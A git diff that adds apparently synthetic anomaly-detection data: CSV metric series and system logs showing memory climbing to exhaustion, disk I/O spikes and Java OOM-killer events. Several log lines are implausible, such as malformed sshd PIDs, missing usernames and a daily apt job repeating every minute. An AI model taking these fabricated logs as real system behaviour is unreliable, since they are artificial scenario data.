+2025-07-02T10:05:05Z,16.52,80.02,25.89,0.83,1.19 +2025-07-02T10:05:10Z,16.33,80.59,19.35,0.74,1.16 +2025-07-02T10:05:15Z,13.02,80.83,21.64,0.8,1.16 +2025-07-02T10:05:20Z,10.35,81.01,25.3,1.1,1.24 +2025-07-02T10:05:25Z,12.47,84.01,29.56,0.93,1.71 +2025-07-02T10:05:30Z,5.36,84.08,18.39,1.36,1.57 +2025-07-02T10:05:35Z,9.12,83.73,26.93,0.36,1.11 +2025-07-02T10:05:40Z,9.73,83.56,21.05,0.93,1.14 +2025-07-02T10:05:45Z,10.35,84.56,22.09,1.03,1.33 +2025-07-02T10:05:50Z,14.0,86.76,18.55,0.97,1.36 +2025-07-02T10:05:55Z,16.17,86.48,20.0,1.02,1.12 +2025-07-02T10:06:00Z,18.2,87.11,24.09,0.22,1.37 +2025-07-02T10:06:05Z,14.4,87.25,16.23,0.49,1.17 +2025-07-02T10:06:10Z,17.74,87.12,24.56,1.33,1.24 +2025-07-02T10:06:15Z,19.33,90.28,15.38,0.86,1.2 +2025-07-02T10:06:20Z,19.73,90.93,18.98,0.93,1.27 +2025-07-02T10:06:25Z,17.89,90.12,23.98,0.66,1.1 +2025-07-02T10:06:30Z,18.2,89.33,24.64,0.49,1.27 +2025-07-02T10:06:35Z,16.57,90.91,20.59,1.08,1.31 +2025-07-02T10:06:40Z,12.82,94.11,15.2,0.95,0.73 +2025-07-02T10:06:45Z,16.76,93.7,107.49,0.69,1.27 +2025-07-02T10:06:50Z,10.43,93.98,127.98,0.6,1.19 +2025-07-02T10:06:55Z,8.47,93.15,95.35,0.79,1.06 +2025-07-02T10:07:00Z,10.39,94.55,129.87,0.95,1.27 +2025-07-02T10:07:05Z,8.81,97.61,95.46,0.74,1.0 +2025-07-02T10:07:10Z,10.57,97.34,123.47,0.89,1.34 +2025-07-02T10:07:15Z,10.47,96.26,114.73,0.71,1.18 +2025-07-02T10:07:20Z,13.4,96.34,144.02,1.12,1.29 +2025-07-02T10:07:25Z,14.84,97.72,148.37,1.01,1.25 diff --git a/anom_dataset/scenario_2/anom_2_14.log b/anom_dataset/scenario_2/anom_2_14.log new file mode 100644 index 0000000000000000000000000000000000000000..abaff7b2524d36bbca57ca929e798b9538361ea1 --- /dev/null +++ b/anom_dataset/scenario_2/anom_2_14.log @@ -0,0 +1,26 @@ +Jul 02 10:00:00 systemd[1]: Starting Daily apt upgrade and clean activities... +Jul 02 10:00:00 CRON[18230]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) +Jul 02 10:00:00 webapp[5432]: INFO: User 'admin' successfully logged in from 192.168.1.100 +Jul 02 10:00:00 sshd[18240]: Accepted password for user admin from 10.0.2.2 port 54322 ssh2 +Jul 02 10:01:05 systemd[1]: Starting Daily apt upgrade and clean activities... +Jul 02 10:01:25 CRON[182317]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) +Jul 02 10:01:40 webapp[5432]: INFO: User 'admin' successfully logged in from 192.168.1.100 +Jul 02 10:02:05 sshd[182425]: Accepted password for user admin from 10.0.2.2 port 54322 ssh2 +Jul 02 10:02:10 systemd[1]: Starting Daily apt upgrade and clean activities... +Jul 02 10:02:50 CRON[182334]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) +Jul 02 10:03:15 systemd[1]: Starting Daily apt upgrade and clean activities... +Jul 02 10:03:20 webapp[5432]: INFO: User 'admin' successfully logged in from 192.168.1.100 +Jul 02 10:04:10 sshd[182450]: Accepted password for user admin from 10.0.2.2 port 54322 ssh2 +Jul 02 10:04:15 CRON[182351]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) +Jul 02 10:04:20 systemd[1]: Starting Daily apt upgrade and clean activities... +Jul 02 10:05:00 webapp[5432]: INFO: User 'admin' successfully logged in from 192.168.1.100 +Jul 02 10:05:25 systemd[1]: Starting Daily apt upgrade and clean activities... +Jul 02 10:05:40 CRON[182368]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) +Jul 02 10:06:15 sshd[182475]: Accepted password for user admin from 10.0.2.2 port 54322 ssh2 +Jul 02 10:06:30 systemd[1]: Starting Daily apt upgrade and clean activities... +Jul 02 10:06:40 webapp[5432]: INFO: User 'admin' successfully logged in from 192.168.1.100 +Jul 02 10:07:00 kernel: [1345.678912] java invoked oom-killer: gfp_mask=0x100cca(GFP_HIGHUSER_MOVABLE), order=0, oom_score_adj=0 +Jul 02 10:07:00 kernel: [1345.678915] CPU: 1 PID: 5432 Comm: java Not tainted 5.4.0-100-generic #113-Ubuntu +Jul 02 10:07:00 kernel: [1345.678923] Out of memory: Kill process 5432 (java) score 987 or sacrifice child +Jul 02 10:07:00 kernel: [1345.679011] Killed process 5432 (java) total-vm:1234567kB, anon-rss:876543kB, file-rss:0kB, shmem-rss:0kB +Jul 02 10:07:05 CRON[182385]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) diff --git a/anom_dataset/scenario_2/anom_2_15.csv b/anom_dataset/scenario_2/anom_2_15.csv new file mode 100644 index 0000000000000000000000000000000000000000..4fec1b130156eef4872a5fdd01169cedde99a234 --- /dev/null +++ b/anom_dataset/scenario_2/anom_2_15.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-12T14:00:00Z,16.95,32.79,25.67,0.87,1.35 +2025-08-12T14:00:05Z,14.09,34.47,25.15,0.69,1.31 +2025-08-12T14:00:10Z,14.65,35.42,22.32,0.67,0.94 +2025-08-12T14:00:15Z,15.96,36.93,22.17,0.81,1.52 +2025-08-12T14:00:20Z,16.87,37.18,24.43,0.88,1.02 +2025-08-12T14:00:25Z,13.4,38.57,27.07,0.83,1.38 +2025-08-12T14:00:30Z,17.63,39.08,31.35,0.55,1.42 +2025-08-12T14:00:35Z,15.12,41.4,23.51,0.73,1.01 +2025-08-12T14:00:40Z,20.88,42.03,16.58,0.56,1.24 +2025-08-12T14:00:45Z,12.38,41.98,29.03,0.5,1.25 +2025-08-12T14:00:50Z,15.34,41.56,29.78,0.71,1.15 +2025-08-12T14:00:55Z,12.58,42.34,26.04,0.78,0.75 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+2025-08-12T14:02:40Z,18.23,58.75,23.87,1.02,1.37 +2025-08-12T14:02:45Z,20.86,58.62,24.03,0.58,1.83 +2025-08-12T14:02:50Z,19.19,59.9,18.46,0.64,0.93 +2025-08-12T14:02:55Z,16.92,60.36,25.16,0.78,1.1 +2025-08-12T14:03:00Z,14.88,61.95,30.83,1.06,1.15 +2025-08-12T14:03:05Z,17.93,61.22,26.73,0.97,1.39 +2025-08-12T14:03:10Z,15.61,63.85,33.61,0.55,1.29 +2025-08-12T14:03:15Z,20.05,64.38,24.23,0.68,0.88 +2025-08-12T14:03:20Z,15.29,62.66,28.05,0.64,1.16 +2025-08-12T14:03:25Z,15.62,64.2,30.8,0.97,0.57 +2025-08-12T14:03:30Z,18.68,64.19,27.25,0.61,1.11 +2025-08-12T14:03:35Z,18.99,65.47,28.56,1.29,0.89 +2025-08-12T14:03:40Z,18.08,67.34,25.09,0.53,0.73 +2025-08-12T14:03:45Z,16.72,67.97,25.82,0.59,1.13 +2025-08-12T14:03:50Z,18.34,67.93,31.83,0.97,1.16 +2025-08-12T14:03:55Z,18.18,69.31,24.09,0.85,1.3 +2025-08-12T14:04:00Z,19.84,69.85,32.92,0.48,1.12 +2025-08-12T14:04:05Z,13.51,71.38,23.55,0.38,1.3 +2025-08-12T14:04:10Z,20.76,70.74,25.95,0.61,1.12 +2025-08-12T14:04:15Z,17.4,71.79,31.31,0.84,1.6 +2025-08-12T14:04:20Z,16.98,72.49,26.71,0.61,1.04 +2025-08-12T14:04:25Z,20.07,72.46,26.38,0.92,1.31 +2025-08-12T14:04:30Z,17.44,73.32,32.43,0.85,1.07 +2025-08-12T14:04:35Z,17.65,74.87,32.46,0.63,1.51 +2025-08-12T14:04:40Z,18.7,76.19,13.68,0.71,0.85 +2025-08-12T14:04:45Z,17.22,76.53,23.29,0.74,1.34 +2025-08-12T14:04:50Z,15.94,77.86,17.22,0.72,1.45 +2025-08-12T14:04:55Z,21.02,79.73,27.82,0.61,0.56 +2025-08-12T14:05:00Z,19.98,77.13,31.81,1.07,1.34 +2025-08-12T14:05:05Z,18.5,78.76,25.33,1.35,1.0 +2025-08-12T14:05:10Z,18.34,79.67,20.45,0.65,1.15 +2025-08-12T14:05:15Z,18.07,80.22,26.69,1.26,1.31 +2025-08-12T14:05:20Z,19.42,81.48,20.49,0.52,1.1 +2025-08-12T14:05:25Z,19.58,81.5,28.51,0.65,0.98 +2025-08-12T14:05:30Z,19.23,83.3,31.17,0.91,0.96 +2025-08-12T14:05:35Z,19.09,83.24,20.85,0.92,1.22 +2025-08-12T14:05:40Z,19.58,84.64,36.05,0.85,1.65 +2025-08-12T14:05:45Z,19.58,86.16,33.56,0.96,1.39 +2025-08-12T14:05:50Z,22.01,84.36,18.25,0.87,1.3 +2025-08-12T14:05:55Z,17.87,85.96,23.3,0.61,1.07 +2025-08-12T14:06:00Z,18.72,87.03,20.91,0.67,0.82 +2025-08-12T14:06:05Z,19.8,88.15,17.8,1.21,1.64 +2025-08-12T14:06:10Z,18.51,88.92,17.94,0.75,1.05 +2025-08-12T14:06:15Z,19.58,91.21,26.94,0.75,1.78 +2025-08-12T14:06:20Z,19.53,90.11,30.04,1.01,1.3 +2025-08-12T14:06:25Z,19.61,91.62,27.95,0.93,0.69 +2025-08-12T14:06:30Z,17.05,93.05,21.52,0.77,1.48 +2025-08-12T14:06:35Z,20.41,94.0,22.77,0.68,1.43 +2025-08-12T14:06:40Z,23.42,92.07,324.97,0.57,0.96 +2025-08-12T14:06:45Z,20.3,92.82,285.61,0.79,1.15 +2025-08-12T14:06:50Z,17.81,93.89,342.48,0.79,1.43 +2025-08-12T14:06:55Z,18.54,94.83,327.56,0.59,1.07 +2025-08-12T14:07:00Z,22.32,96.14,365.11,1.03,1.61 +2025-08-12T14:07:05Z,17.57,96.64,248.16,1.04,0.63 +2025-08-12T14:07:10Z,20.88,97.43,266.13,0.64,1.35 +2025-08-12T14:07:15Z,20.79,99.11,308.05,0.93,1.06 +2025-08-12T14:07:20Z,21.32,99.43,264.62,0.55,1.13 +2025-08-12T14:07:25Z,20.08,99.9,280.31,0.65,0.91 diff --git a/anom_dataset/scenario_2/anom_2_15.log b/anom_dataset/scenario_2/anom_2_15.log new file mode 100644 index 0000000000000000000000000000000000000000..4fcda0a06d9c2cab64ec489059424c6910c55b2b --- /dev/null +++ b/anom_dataset/scenario_2/anom_2_15.log @@ -0,0 +1,33 @@ +Aug 12 14:00:00 my-machine kubelet[2345]: INFO routine sync completed for pod web-app +Aug 12 14:00:20 my-machine kubelet[2345]: INFO Liveness probe succeeded for pod app-backend-xyz +Aug 12 14:00:40 my-machine systemd[1]: Finished Daily apt download activities. +Aug 12 14:01:00 my-machine nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Aug 12 14:01:20 my-machine cron[11432]: (root) CMD ( /usr/local/bin/run_backup.sh) +Aug 12 14:01:40 my-machine systemd[1]: Finished Daily apt download activities. +Aug 12 14:02:00 my-machine kubelet[2345]: INFO routine sync completed for pod web-app +Aug 12 14:02:20 my-machine kubelet[2345]: INFO routine sync completed for pod web-app +Aug 12 14:02:40 my-machine systemd[1]: Started Session 128 of user ubuntu. +Aug 12 14:03:00 my-machine kubelet[2345]: INFO Successfully probed container metrics-collector +Aug 12 14:03:20 my-machine systemd[1]: Finished Daily apt download activities. +Aug 12 14:03:40 my-machine nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Aug 12 14:04:00 my-machine nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Aug 12 14:04:20 my-machine systemd[1]: Started Session 72 of user ubuntu. +Aug 12 14:04:40 my-machine nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Aug 12 14:05:00 my-machine cron[11432]: (root) CMD ( /usr/local/bin/run_backup.sh) +Aug 12 14:05:20 my-machine cron[11432]: (root) CMD ( /usr/local/bin/run_backup.sh) +Aug 12 14:05:40 my-machine systemd[1]: Started Session 110 of user ubuntu. +Aug 12 14:06:00 my-machine systemd[1]: Finished Daily apt download activities. +Aug 12 14:06:10 my-machine cron[11432]: (root) CMD ( /usr/local/bin/run_backup.sh) +Aug 12 14:06:20 my-machine kubelet[2345]: INFO routine sync completed for pod web-app +Aug 12 14:06:30 my-machine kubelet[2345]: INFO Liveness probe succeeded for pod app-backend-xyz +Aug 12 14:06:40 my-machine kubelet[2345]: INFO routine sync completed for pod web-app +Aug 12 14:06:50 my-machine kubelet[2345]: INFO Liveness probe succeeded for pod app-backend-xyz +Aug 12 14:06:55 kernel: [182245.433211] java invoked oom-killer: gfp_mask=0x100cca(GFP_HIGHUSER_MOVABLE), order=0, oom_score_adj=0 +Aug 12 14:06:55 kernel: [182245.433215] CPU: 1 PID: 15298 Comm: java Not tainted 5.4.0-150-generic #167-Ubuntu +Aug 12 14:06:55 kernel: [182245.433229] oom-kill:constraint=CONSTRAINT_MEMCG,nodemask=(null),cpuset=/,mems_allowed=0,oom_memcg=/kubepods/burstable/pod123-456 +Aug 12 14:06:55 kernel: [182245.433301] Out of memory: Killed process 15298 (java) total-vm:12401884kB, anon-rss:8124104kB, file-rss:0kB, shmem-rss:0kB, UID:1001 pgtables:17204kB oom_score_adj:0 +Aug 12 14:06:55 kernel: [182245.541234] oom_reaper: reaped process 15298 (java), now anon-rss:0kB, file-rss:0kB, shmem-rss:0kB +Aug 12 14:06:55 systemd[1]: systemd-journald.service: State 'running' changed to 'stop-pending' +Aug 12 14:07:00 my-machine kubelet[2345]: INFO Successfully probed container metrics-collector +Aug 12 14:07:10 my-machine nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Aug 12 14:07:20 my-machine kubelet[2345]: INFO Liveness probe succeeded for pod app-backend-xyz diff --git a/anom_dataset/scenario_2/anom_2_16.csv b/anom_dataset/scenario_2/anom_2_16.csv new file mode 100644 index 0000000000000000000000000000000000000000..84176d0039f37f1fb5daf8432e25b9f40d50e08d --- /dev/null +++ b/anom_dataset/scenario_2/anom_2_16.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-24T10:00:00Z,15.99,30.0,26.71,0.48,1.12 +2025-08-24T10:00:05Z,13.14,30.0,26.38,0.38,1.3 +2025-08-24T10:00:10Z,13.44,30.24,32.43,0.61,1.12 +2025-08-24T10:00:15Z,13.6,32.75,32.46,0.84,1.6 +2025-08-24T10:00:20Z,14.32,32.98,13.68,0.61,1.04 +2025-08-24T10:00:25Z,8.93,33.65,23.29,0.92,1.31 +2025-08-24T10:00:30Z,16.54,33.18,17.22,0.85,1.07 +2025-08-24T10:00:35Z,10.29,38.15,27.82,0.63,1.51 +2025-08-24T10:00:40Z,16.06,38.03,31.81,0.71,0.85 +2025-08-24T10:00:45Z,14.2,38.46,25.33,0.74,1.34 +2025-08-24T10:00:50Z,16.43,38.58,20.45,0.72,1.45 +2025-08-24T10:00:55Z,19.01,38.91,26.69,0.61,0.56 +2025-08-24T10:01:00Z,17.28,39.96,20.49,1.07,1.34 +2025-08-24T10:01:05Z,14.95,42.42,28.51,1.35,1.0 +2025-08-24T10:01:10Z,12.86,42.88,31.17,0.65,1.15 +2025-08-24T10:01:15Z,15.85,43.11,20.85,1.26,1.31 +2025-08-24T10:01:20Z,13.47,44.19,36.05,0.52,1.1 +2025-08-24T10:01:25Z,17.86,44.64,33.56,0.65,0.98 +2025-08-24T10:01:30Z,13.05,45.11,18.25,0.91,0.96 +2025-08-24T10:01:35Z,13.31,46.04,23.3,0.92,1.22 +2025-08-24T10:01:40Z,16.32,46.25,20.91,0.85,1.65 +2025-08-24T10:01:45Z,16.58,46.74,17.8,0.96,1.39 +2025-08-24T10:01:50Z,15.61,46.0,17.94,0.87,1.3 +2025-08-24T10:01:55Z,14.2,46.59,26.94,0.61,1.07 +2025-08-24T10:02:00Z,15.75,49.73,30.04,0.67,0.82 +2025-08-24T10:02:05Z,15.54,49.09,27.95,1.21,1.64 +2025-08-24T10:02:10Z,17.15,49.32,21.52,0.75,1.05 +2025-08-24T10:02:15Z,10.76,49.6,22.77,0.75,1.78 +2025-08-24T10:02:20Z,17.95,51.11,31.58,1.01,1.3 +2025-08-24T10:02:25Z,14.54,51.45,17.04,0.93,0.69 +2025-08-24T10:02:30Z,14.06,54.47,27.82,0.77,1.48 +2025-08-24T10:02:35Z,17.09,55.28,30.63,0.68,1.43 +2025-08-24T10:02:40Z,14.4,57.96,26.04,0.57,0.96 +2025-08-24T10:02:45Z,14.56,58.15,28.02,0.79,1.15 +2025-08-24T10:02:50Z,15.56,57.39,10.64,0.79,1.43 +2025-08-24T10:02:55Z,14.01,56.77,26.29,0.59,1.07 +2025-08-24T10:03:00Z,12.68,59.53,20.02,1.03,1.61 +2025-08-24T10:03:05Z,17.7,59.92,24.72,1.04,0.63 +2025-08-24T10:03:10Z,16.61,61.21,27.5,0.64,1.35 +2025-08-24T10:03:15Z,15.07,60.79,23.56,0.93,1.06 +2025-08-24T10:03:20Z,14.86,61.07,29.25,0.55,1.13 +2025-08-24T10:03:25Z,14.53,62.24,27.76,0.65,0.91 +2025-08-24T10:03:30Z,15.82,62.68,31.51,0.9,1.12 +2025-08-24T10:03:35Z,15.93,62.01,19.82,0.88,0.94 +2025-08-24T10:03:40Z,15.52,65.61,21.61,0.63,1.75 +2025-08-24T10:03:45Z,15.33,65.5,25.8,1.01,1.08 +2025-08-24T10:03:50Z,15.76,65.79,21.46,0.68,1.4 +2025-08-24T10:03:55Z,15.7,65.51,23.03,0.92,0.72 +2025-08-24T10:04:00Z,18.07,65.12,26.75,0.94,1.82 +2025-08-24T10:04:05Z,13.88,67.71,22.2,0.67,1.29 +2025-08-24T10:04:10Z,14.68,69.77,21.65,0.83,1.04 +2025-08-24T10:04:15Z,15.7,70.92,25.32,0.83,0.86 +2025-08-24T10:04:20Z,14.35,70.99,27.09,0.77,1.49 +2025-08-24T10:04:25Z,15.37,71.3,25.81,0.5,1.49 +2025-08-24T10:04:30Z,15.26,71.49,18.82,0.65,1.3 +2025-08-24T10:04:35Z,15.29,72.11,23.36,0.52,1.62 +2025-08-24T10:04:40Z,12.67,74.07,18.93,0.7,1.3 +2025-08-24T10:04:45Z,15.98,73.08,17.56,0.71,0.97 +2025-08-24T10:04:50Z,18.93,75.05,22.82,0.98,1.39 +2025-08-24T10:04:55Z,15.75,78.65,24.49,0.52,1.17 +2025-08-24T10:05:00Z,15.7,78.94,30.35,1.04,0.68 +2025-08-24T10:05:05Z,13.29,79.12,17.92,1.16,1.1 +2025-08-24T10:05:10Z,17.75,78.46,21.09,0.81,0.98 +2025-08-24T10:05:15Z,11.6,78.1,21.62,0.96,1.3 +2025-08-24T10:05:20Z,16.57,79.87,30.28,0.74,1.82 +2025-08-24T10:05:25Z,15.56,80.05,12.62,0.8,1.46 +2025-08-24T10:05:30Z,18.45,81.32,32.4,0.9,0.93 +2025-08-24T10:05:35Z,11.44,81.68,26.77,0.28,1.33 +2025-08-24T10:05:40Z,18.85,81.31,33.12,0.41,1.54 +2025-08-24T10:05:45Z,19.63,83.85,29.92,0.82,1.11 +2025-08-24T10:05:50Z,16.7,84.06,23.94,0.41,1.38 +2025-08-24T10:05:55Z,17.08,85.25,33.02,0.71,1.27 +2025-08-24T10:06:00Z,14.99,86.46,31.47,0.77,1.5 +2025-08-24T10:06:05Z,20.41,87.8,35.64,0.97,1.12 +2025-08-24T10:06:10Z,25.87,88.11,23.49,0.92,1.25 +2025-08-24T10:06:15Z,20.61,92.96,26.42,1.22,0.91 +2025-08-24T10:06:20Z,22.31,93.34,23.6,0.62,1.42 +2025-08-24T10:06:25Z,22.01,93.76,23.78,0.74,1.23 +2025-08-24T10:06:30Z,24.95,94.05,20.41,0.77,1.02 +2025-08-24T10:06:35Z,25.45,93.28,24.16,0.93,1.04 +2025-08-24T10:06:40Z,26.79,93.48,30.43,0.86,1.58 +2025-08-24T10:06:45Z,24.12,93.86,19.53,0.59,0.88 +2025-08-24T10:06:50Z,23.37,92.94,21.0,0.78,0.72 +2025-08-24T10:06:55Z,23.28,93.76,24.51,0.38,0.78 +2025-08-24T10:07:00Z,26.51,95.65,171.13,0.74,1.62 +2025-08-24T10:07:05Z,21.77,95.17,273.26,0.6,0.79 +2025-08-24T10:07:10Z,27.1,95.53,159.33,0.49,0.61 +2025-08-24T10:07:15Z,27.7,98.56,167.8,0.75,1.52 +2025-08-24T10:07:20Z,27.22,99.03,225.77,0.77,1.05 +2025-08-24T10:07:25Z,26.81,100.0,207.29,0.86,1.13 diff --git a/anom_dataset/scenario_2/anom_2_16.log b/anom_dataset/scenario_2/anom_2_16.log new file mode 100644 index 0000000000000000000000000000000000000000..e4597238df915c7a1e93e06124e273a509ed35dd --- /dev/null +++ b/anom_dataset/scenario_2/anom_2_16.log @@ -0,0 +1,18 @@ +Aug 24 10:00:10 sshd[PID18475]: Accepted password for user from 10.0.2.2 port 49472 ssh2 +Aug 24 10:00:27 kernel: [ 27.915213] TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Aug 24 10:00:44 sshd[PID10726]: Accepted password for user from 10.0.2.2 port 48489 ssh2 +Aug 24 10:01:03 leaky-app[PID12345]: INFO: Processing request ID: 7435 +Aug 24 10:01:27 leaky-app[PID12345]: INFO: Processing request ID: 6272 +Aug 24 10:01:39 sshd[PID19045]: Accepted password for user from 10.0.2.2 port 42373 ssh2 +Aug 24 10:02:16 leaky-app[PID12345]: INFO: Processing request ID: 4350 +Aug 24 10:02:54 CRON[PID26216]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 24 10:03:32 kernel: [ 212.117821] TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Aug 24 10:04:11 sshd[PID19004]: Accepted password for user from 10.0.2.2 port 57446 ssh2 +Aug 24 10:04:36 systemd[1]: Starting Clean php session files... +Aug 24 10:05:15 systemd[1]: Starting Clean php session files... +Aug 24 10:05:53 systemd[1]: Starting Clean php session files... +Aug 24 10:06:32 systemd[1]: Starting Clean php session files... +Aug 24 10:06:48 systemd[1]: Starting Clean php session files... +Aug 24 10:06:53 kernel: [ 413.678944] leaky-app invoked oom-killer: gfp_mask=0x100cca(GFP_HIGHUSER_MOVABLE), order=0, oom_score_adj=0 +Aug 24 10:07:02 sshd[PID16238]: Accepted password for user from 10.0.2.2 port 52667 ssh2 +Aug 24 10:07:15 kernel: [ 435.501321] oom-killer: Terminating process 12345 (leaky-app) to reclaim memory. diff --git a/anom_dataset/scenario_2/anom_2_17.csv b/anom_dataset/scenario_2/anom_2_17.csv new file mode 100644 index 0000000000000000000000000000000000000000..317b15d2788d56d28c7e81dcefc19d119dc2ee6c --- /dev/null +++ b/anom_dataset/scenario_2/anom_2_17.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02 10:00:00+00:00,12.21,31.3,26.59,0.51,1.38 +2025-07-02 10:00:05+00:00,12.81,32.68,24.42,1.49,1.61 +2025-07-02 10:00:10+00:00,14.82,37.4,24.13,1.32,1.2 +2025-07-02 10:00:15+00:00,14.02,37.74,25.09,0.89,0.94 +2025-07-02 10:00:20+00:00,13.5,36.21,28.28,1.18,0.78 +2025-07-02 10:00:25+00:00,15.61,35.74,20.14,1.32,1.62 +2025-07-02 10:00:30+00:00,14.88,34.58,29.4,1.1,1.09 +2025-07-02 10:00:35+00:00,14.23,31.49,20.64,1.47,1.6 +2025-07-02 10:00:40+00:00,12.46,32.07,16.84,0.68,1.06 +2025-07-02 10:00:45+00:00,11.38,32.7,17.93,0.83,1.69 +2025-07-02 10:00:50+00:00,13.99,32.48,23.82,0.63,1.61 +2025-07-02 10:00:55+00:00,14.23,37.17,20.89,1.48,1.73 +2025-07-02 10:01:00+00:00,12.92,40.1,21.98,0.51,1.43 +2025-07-02 10:01:05+00:00,15.95,42.52,25.82,0.79,1.73 +2025-07-02 10:01:10+00:00,12.58,45.91,20.23,1.43,0.98 +2025-07-02 10:01:15+00:00,15.69,46.48,26.97,0.85,1.63 +2025-07-02 10:01:20+00:00,16.92,45.11,19.09,0.79,1.27 +2025-07-02 10:01:25+00:00,15.78,46.48,18.85,1.16,1.0 +2025-07-02 10:01:30+00:00,13.19,42.74,17.47,0.8,1.06 +2025-07-02 10:01:35+00:00,12.96,41.9,16.52,1.28,1.73 +2025-07-02 10:01:40+00:00,13.39,41.59,28.4,1.33,1.59 +2025-07-02 10:01:45+00:00,14.46,42.11,16.1,1.22,1.14 +2025-07-02 10:01:50+00:00,11.76,42.8,20.32,1.45,0.84 +2025-07-02 10:01:55+00:00,13.27,44.69,26.23,1.35,1.07 +2025-07-02 10:02:00+00:00,14.93,48.7,28.18,1.23,0.95 +2025-07-02 10:02:05+00:00,17.21,53.56,23.32,0.73,1.15 +2025-07-02 10:02:10+00:00,14.61,54.5,23.78,0.56,0.97 +2025-07-02 10:02:15+00:00,13.08,56.1,26.05,0.59,1.06 +2025-07-02 10:02:20+00:00,16.14,54.64,21.75,0.85,1.36 +2025-07-02 10:02:25+00:00,17.31,55.17,21.88,0.77,0.87 +2025-07-02 10:02:30+00:00,16.93,51.23,18.45,1.07,1.11 +2025-07-02 10:02:35+00:00,15.35,50.52,20.15,1.26,1.78 +2025-07-02 10:02:40+00:00,16.42,48.93,15.24,1.35,1.41 +2025-07-02 10:02:45+00:00,17.15,50.32,16.16,1.06,1.66 +2025-07-02 10:02:50+00:00,15.04,53.97,16.5,1.22,1.32 +2025-07-02 10:02:55+00:00,12.67,56.36,15.79,0.94,1.62 +2025-07-02 10:03:00+00:00,15.64,58.83,16.65,0.72,0.91 +2025-07-02 10:03:05+00:00,11.56,62.67,16.0,0.62,1.44 +2025-07-02 10:03:10+00:00,14.69,62.77,18.69,0.75,0.73 +2025-07-02 10:03:15+00:00,17.07,65.51,15.89,0.59,1.6 +2025-07-02 10:03:20+00:00,17.07,64.0,26.7,0.66,1.56 +2025-07-02 10:03:25+00:00,12.78,63.45,28.67,1.06,0.91 +2025-07-02 10:03:30+00:00,13.31,61.41,29.87,0.62,1.3 +2025-07-02 10:03:35+00:00,16.75,60.34,15.38,0.53,1.17 +2025-07-02 10:03:40+00:00,14.61,58.38,28.4,0.68,1.35 +2025-07-02 10:03:45+00:00,16.04,59.62,17.19,1.22,1.08 +2025-07-02 10:03:50+00:00,15.51,61.06,24.06,1.22,1.02 +2025-07-02 10:03:55+00:00,15.47,63.82,22.81,1.1,1.77 +2025-07-02 10:04:00+00:00,16.32,69.27,24.0,1.1,1.73 +2025-07-02 10:04:05+00:00,13.81,72.27,22.37,1.21,1.15 +2025-07-02 10:04:10+00:00,17.76,74.51,23.17,0.63,1.68 +2025-07-02 10:04:15+00:00,15.9,74.52,26.5,0.78,0.91 +2025-07-02 10:04:20+00:00,17.16,72.54,18.71,0.82,0.72 +2025-07-02 10:04:25+00:00,16.02,72.65,21.59,1.18,1.25 +2025-07-02 10:04:30+00:00,17.46,70.09,23.62,1.12,1.6 +2025-07-02 10:04:35+00:00,16.03,70.24,29.28,1.31,1.71 +2025-07-02 10:04:40+00:00,16.85,68.38,27.21,0.98,1.35 +2025-07-02 10:04:45+00:00,14.24,68.79,24.49,0.86,1.73 +2025-07-02 10:04:50+00:00,19.2,72.24,25.31,0.75,0.73 +2025-07-02 10:04:55+00:00,16.84,73.69,17.28,0.74,1.73 +2025-07-02 10:05:00+00:00,16.42,78.41,23.19,0.85,1.07 +2025-07-02 10:05:05+00:00,17.37,81.55,29.62,0.6,0.98 +2025-07-02 10:05:10+00:00,15.53,83.5,29.9,1.46,1.71 +2025-07-02 10:05:15+00:00,16.36,82.45,26.57,0.69,1.29 +2025-07-02 10:05:20+00:00,15.59,82.45,17.59,1.16,0.91 +2025-07-02 10:05:25+00:00,16.15,82.13,23.55,0.93,1.04 +2025-07-02 10:05:30+00:00,19.47,79.75,22.12,1.07,1.43 +2025-07-02 10:05:35+00:00,16.91,79.24,23.93,0.55,1.16 +2025-07-02 10:05:40+00:00,15.57,76.41,18.39,0.98,1.77 +2025-07-02 10:05:45+00:00,19.55,79.94,29.78,0.89,1.78 +2025-07-02 10:05:50+00:00,15.6,80.99,22.76,1.25,1.69 +2025-07-02 10:05:55+00:00,17.37,85.62,23.71,1.14,0.72 +2025-07-02 10:06:00+00:00,17.21,87.22,24.91,1.15,1.3 +2025-07-02 10:06:05+00:00,17.08,92.07,28.4,0.61,1.13 +2025-07-02 10:06:10+00:00,12.72,91.18,22.85,1.24,1.77 +2025-07-02 10:06:15+00:00,16.74,92.87,18.64,1.27,1.39 +2025-07-02 10:06:20+00:00,20.78,90.24,28.85,1.4,1.64 +2025-07-02 10:06:25+00:00,14.28,91.54,27.52,0.58,1.41 +2025-07-02 10:06:30+00:00,17.01,89.51,28.8,1.14,0.89 +2025-07-02 10:06:35+00:00,17.65,86.13,29.83,0.61,1.71 +2025-07-02 10:06:40+00:00,14.63,87.22,27.22,1.43,1.31 +2025-07-02 10:06:45+00:00,16.87,89.65,15.51,1.27,1.05 +2025-07-02 10:06:50+00:00,19.98,92.39,27.39,1.1,1.44 +2025-07-02 10:06:55+00:00,17.36,93.31,26.09,1.14,1.29 +2025-07-02 10:07:00+00:00,15.6,98.89,427.86,0.91,1.34 +2025-07-02 10:07:05+00:00,16.32,99.14,387.08,1.29,1.57 +2025-07-02 10:07:10+00:00,17.43,99.5,412.0,1.13,1.39 +2025-07-02 10:07:15+00:00,12.61,99.5,487.6,1.47,1.43 +2025-07-02 10:07:20+00:00,17.6,99.5,414.88,1.26,0.98 +2025-07-02 10:07:25+00:00,17.29,99.5,500.15,1.39,1.49 diff --git 